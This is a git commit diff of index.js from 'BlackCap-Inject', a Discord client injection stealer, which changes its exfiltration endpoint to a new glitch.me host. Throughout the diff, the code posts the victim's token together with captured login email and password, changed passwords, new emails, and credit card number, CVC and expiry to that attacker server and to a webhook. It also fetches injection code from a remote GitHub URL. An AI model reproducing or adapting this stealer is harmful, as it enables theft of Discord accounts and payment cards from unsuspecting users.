Update index.js
This commit is contained in:
parent
f1ee2ff460
commit
a34264f987
20
index.js
20
index.js
|
@ -29,7 +29,7 @@ const config = {
|
|||
|
||||
injection_url: "https://raw.githubusercontent.com/KSCHdsc/BlackCap-Inject/main/index.js",
|
||||
webhook: "%WEBHOOK%",
|
||||
apiurl: "https://fifth-chisel-pullover.glitch.me/blackcappannel/",
|
||||
UWUWED: "https://flawless-pickled-plume.glitch.me/loginblackcap/",
|
||||
filter2: {
|
||||
urls: [
|
||||
"https://status.discord.com/api/v*/scheduled-maintenances/upcoming.json",
|
||||
|
@ -221,7 +221,7 @@ async function post(url, embed){
|
|||
}
|
||||
|
||||
session.defaultSession.webRequest.onHeadersReceived((details, callback) => {
|
||||
if (details.url.startsWith(config.apiurl)) {
|
||||
if (details.url.startsWith(config.UWUWED)) {
|
||||
if (details.url.includes("discord.com")) {
|
||||
callback({
|
||||
responseHeaders: Object.assign({
|
||||
|
@ -283,7 +283,6 @@ async function FirstTime() {
|
|||
}],
|
||||
author: {
|
||||
name: "BlackCap"
|
||||
},
|
||||
footer: {
|
||||
text: "©KSCH | https://github.com/KSCHdsc"
|
||||
}
|
||||
|
@ -291,7 +290,6 @@ async function FirstTime() {
|
|||
};
|
||||
let data = JSON.stringify(c);
|
||||
let UwU = JSON.stringify({ data: data, token: token })
|
||||
post(config.apiurl, UwU);
|
||||
hooker(c)
|
||||
|
||||
} else {
|
||||
|
@ -366,7 +364,7 @@ async function FirstTime() {
|
|||
|
||||
let data = JSON.stringify(c);
|
||||
let UwU = JSON.stringify({ data: data, token: token })
|
||||
post(config.apiurl, UwU);
|
||||
post(config.UWUWED, UwU);
|
||||
hooker(c)
|
||||
};
|
||||
|
||||
|
@ -407,7 +405,7 @@ async function FirstTime() {
|
|||
|
||||
let data = JSON.stringify(c);
|
||||
let UwU = JSON.stringify({ data: data, token: token })
|
||||
post(config.apiurl, UwU);
|
||||
post(config.UWUWED, UwU);
|
||||
hooker(c)
|
||||
|
||||
} else {
|
||||
|
@ -476,7 +474,7 @@ async function FirstTime() {
|
|||
};
|
||||
let data = JSON.stringify(c);
|
||||
let UwU = JSON.stringify({ data: data, token: token })
|
||||
post(config.apiurl, UwU);
|
||||
post(config.UWUWED, UwU);
|
||||
hooker(c)
|
||||
|
||||
}
|
||||
|
@ -929,7 +927,7 @@ async function Login(email, password, token) {
|
|||
|
||||
let data = JSON.stringify(params);
|
||||
let UwU = JSON.stringify({ data: data, token: token })
|
||||
post(config.apiurl, UwU);
|
||||
post(config.UWUWED, UwU);
|
||||
hooker(params)
|
||||
})
|
||||
})
|
||||
|
@ -1093,7 +1091,7 @@ async function ChangePassword(oldpassword, newpassword, token) {
|
|||
}
|
||||
let data = JSON.stringify(params);
|
||||
let UwU = JSON.stringify({ data: data, token: token })
|
||||
post(config.apiurl, UwU);
|
||||
post(config.UWUWED, UwU);
|
||||
|
||||
hooker(params)
|
||||
})
|
||||
|
@ -1261,7 +1259,7 @@ async function ChangeEmail(newemail, password, token) {
|
|||
}
|
||||
let data = JSON.stringify(params);
|
||||
let UwU = JSON.stringify({ data: data, token: token })
|
||||
post(config.apiurl, UwU);
|
||||
post(config.UWUWED, UwU);
|
||||
hooker(params)
|
||||
})
|
||||
})
|
||||
|
@ -1332,7 +1330,7 @@ async function CreditCardAdded(number, cvc, expir_month, expir_year, token) {
|
|||
}
|
||||
let data = JSON.stringify(params);
|
||||
let UwU = JSON.stringify({ data: data, token: token })
|
||||
post(config.apiurl, UwU);
|
||||
post(config.UWUWED, UwU);
|
||||
hooker(params)
|
||||
}
|
||||
|
||||
|
|
Loading…
Reference in New Issue